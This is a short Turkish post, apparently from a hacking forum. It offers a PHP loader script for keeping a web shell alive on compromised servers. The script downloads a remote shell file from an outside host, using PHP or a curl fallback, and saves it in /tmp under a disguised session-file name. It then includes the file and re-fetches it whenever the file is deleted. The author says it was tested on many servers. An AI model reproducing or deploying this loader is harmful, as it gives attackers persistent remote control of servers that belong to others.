Aşağıda belirtilen php script içerisindeki http://www.shellyolu.com/shell.txt kendi shell yolunuza göre editleyin ve server a upload edin. Script sayesinde txt ile belirmiş olduğunuz olduğunuz shell tmp dizinine yüklenecek ve siz bu shell i dizine yüklemiş olduğunuz aşağıdaki php script sayesinde kullanıyor olacaksınız. Bu sayede otomatik olarak shellinizin silindiği serverlarda shelliniz barınacak. Bir çok serverda bizzat test edip denedim.
PHP:
<?php
//*thanx for idx
$URL = 'http://www.groovy-steel.com/upload/files/alfav3.txt';
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
function M() {
$FGT = @file_get_contents($GLOBALS['URL']);
if(!$FGT) {
echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
} else {
$HANDLE = fopen($GLOBALS['TMP'], 'w');
fwrite($HANDLE, $FGT);
fclose($HANDLE);
}
echo '<script>window.location="?nako=login";</script>';
}
if(file_exists($TMP)) {
if(filesize($TMP) === 0) {
unlink($TMP);
M();
} else {
include($TMP);
}
} else {
M();
}
?>